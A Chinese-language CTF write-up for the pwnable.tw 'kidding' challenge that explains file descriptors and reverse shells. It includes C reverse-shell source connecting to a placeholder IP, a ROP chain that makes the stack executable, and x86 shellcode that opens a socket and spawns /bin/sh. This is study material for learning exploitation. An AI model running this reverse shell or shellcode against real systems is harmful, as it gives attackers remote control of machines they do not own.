0x01 前言
之前一直没了解反弹shell的真正含义,今天刚好发现自己pwnable的排名有点瓦,做道题冲个分吧…这篇文章参考了m4x师傅的文章,总结下来供自己学习:
0x02 shell是什么
简单的来说shell就是用户操作系统的入口,通过shell去调用其它的应用程序。例如:我们执行cat flag这条命令,那么去调用open、read、write等系统调用,虽然shell并没有跟内核直接进行交互,但是也可以认为shell为用户和内核提供了交互界面。
0x03 文件描述符
当进程打开现有文件或创建新文件 (open) 时,内核向进程返回一个 文件描述符(file descriptor)。在形式上是一个非负整数,作为一个索引指向被打开的文件,所有执行 I/O 操作的系统调用都会通过文件描述符。
0x04 stdin, stdout 和 stderr
0,1 和 2 文件描述符分别代表 stdin,stdout 和 stderr。每个程序在运行时会自动打开三个文件 stdin,stdout 和 stderr,文件描述符为0,1,2,分别代表标准输入,标准输出和标准错误;之后打开的文件会从 3 继续向后递增,新打开文件 (open) 时,将返回所能允许的最小文件描述符。
例子
close(1);
puts("dumb output because stdout is closed.");
int fd = open("output.txt", O_RDWR | O_CREAT, 0777);
puts("Since open() returns 1 and puts() triggers write(1,....), this message wi │ ll be written to the file output.txt");
close(fd); // don't forget to close(fd)!!!
4行的输出并没有向往常一样显示在显示屏上,因为 stdout 在 1行已经被关闭了;4行的信息输出到了 output.txt 中,这是因为3行执行时,这个进程有 0 和 2 两个 fd,因此 open 返回所能允许的最小文件描述符 1,而 puts 实际是系统调用 write(1, ….),因此这条消息就被写到了 1 (此时为打开的 output.txt)这个文件中;同理,我们还可以通过 close(0),close(1) 等操作控制进程从其他文件(包括其他进程,socket,pipe 等)进行 io。
0x05 reverse shell
由于题目关闭了标准输入、标准输出和错误输出流,就算我们get shell也没办法继续”cat flag”,在get shell之前我们监听某个端口,想办法让服务器端主动和我们客户端在这个端口建立一个连接,并将输入输出流转到这个端口上。
往 /proc/self/mem 写数据更改 binary 内容。通过 vmmap 可以看出 0x400000 - 0x401000 段具有可以行权限,且地址是固定的,因此我们可以控制 open(“/proc/self/mem”, 2) 返回的 fd 为 1,然后通过 puts(shellcode) 既可以将 shellcode 写到这段地址上,再控制 rip 到 shellcode 就可以建立一个 reverse shell。
大体思路如下:
- 利用 open(“/proc/self/fd/0”, 0) 来构造 ropchain,ropchain 实现 open(“/proc/self/mem”, 2) 返回的 fd 为
- 通过 puts(shellcode) 将 shellcode 写到具有可执行权限的代码段,可以用 lseek 控制 puts 写的位置
- 控制 rip 为 shellcode 建立 reverse shell
- 可以使用 /dev/stdin 代替 /proc/self/fd/0,效果一样,可以给 shellcode 留下更多空间
0x06 reverse shell经典建立方式
1 │ // reverse shell
2 │ #include <sys/types.h>
3 │ #include <sys/socket.h>
4 │ #include <netinet/in.h>
5 │
6 │ #define NULL 0
7 │
8 │ int socket(int domain, int type, int protocal);
9 │ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
10 │ int dup2(int oldfd, int newfd);
11 │ int execve(const char *filename, char *const argv[], char *const envp[]);
12 │ int close(int fd);
13 │
14 │ void reverse_shell()
15 │ {
16 │ char* address = "your_ip";
17 │ int port = your_port;
18 │
19 │ // create a new socket but it has no address assigned yet
20 │ int sockfd = socket(AF_INET/* 2 */, SOCK_STREAM/* 1 */, 0);
21 │
22 │ // create sockaddr_in structure for use with connect function
23 │ struct sockaddr_in sock_in;
24 │ sock_in.sin_family = AF_INET;
25 │ sock_in.sin_addr.s_addr = inet_addr(address);
26 │ sock_in.sin_port = htons(port);
27 │
28 │ // perform connect to target IP address and port
29 │ connect(sockfd, (struct sockaddr*)&sock_in, sizeof(struct sockaddr_in));
30 │
31 │ // duplicate file descriptors for STDIN/STDOUT/STDERR
32 │ for(int n = 0; n <= 2; n++)
33 │ {
34 │ dup2(sockfd, n);
35 │ }
36 │
37 │ // execve("/bin/sh", 0, 0)
38 │ execve("/bin/sh", NULL, NULL);
39 │
40 │ close(sockfd);
41 │
42 │ return;
43 │ }
44 │
45 │
46 │ int main()
47 │ {
48 │ reverse_shell();
49 │
50 │ return 0;
51 │ }
- 建立一个 socket,此时会新建一个 fd
- 给这个 socket 分配 ip 和 port
- 通过 dup2,将 socket 的 fd 复制到 0,1 和 2 上,这样 shell 的 io 就完全通过建立的 socket 了,这时如果我们监听这个 ip 和 port,就相当于拿到了一个 shell
0x07 例题
pwnable kidding
查看文件
IDA分析
根据上面所学,我们的目标应该是通过执行代码来得到一个shell,但是我们看到题目NX开启,那么我们看看有没有什么办法可以关闭NX
我们看到这里有个函数,将栈地址设置可执行,那么就很简单了:
思路
通过rop+shellcode,反弹shell。
出了反弹shell没有什么太多特别的东西,注意需要改一下hook函数的偏移,为了少压一个参数到栈中,令其执行完函数后可以返回到我们写入栈中的返回地址,具体调一下就知道了。从汇编层面上慢慢解决问题即可:
rop部分
pop_eax_ret = 0x80e2318 # pop eax; ret
pop_ecx_ret = 0x080583c9 # pop exc; ret
inc_mem = 0x080842c8 #inc dword ptr [ecx]; ret
jmp_esp = 0x80ddd07
rop = 'a'*0x8
rop += p32(0x8048902-0x18) #__libc_stack_end-0x18
# rop += p32(pop_eax_ret) + p32(0x80e9fc8)
rop += p32(pop_ecx_ret)
rop += p32(elf.sym["_dl_make_stack_executable_hook"])
rop += p32(inc_mem)
rop += p32(0x80937F0)
rop += p32(0x80ddd07)
shellcode部分:
# socket(AF_INET/* 2 */, SOCK_STREAM/* 1 */, 0);
payload = "push 0x1;pop ebx;cdq;"
payload+= "mov al,0x66;push edx;push ebx;push 0x2;mov ecx,esp;int 0x80;"
# dup2(oldfd,newfd) eax = 0x3f, ebx = oldfd,ecx = newfd dup2(0,1)
payload+= "pop esi;pop ecx;xchg ebx,eax;mov al,0x3f;int 0x80;"
# ##socketcall() eax=0x66,ebx=3,sys_connect(0,ip_port,0x10)
payload+= "mov al,0x66;push %d;push ax;push si;mov ecx,esp;" % ip
payload+= "push 0x10;push ecx;push ebx;mov ecx,esp;mov bl,0x3;int 0x80;"
# execute("/bin/sh")
payload+= "mov al,0xb;pop ecx;push 0x68732f;push 0x6e69622f;mov ebx,esp;int 0x80;"
不知道为什么打不通远程,由于tw的高分题暂时就不放完整exp了。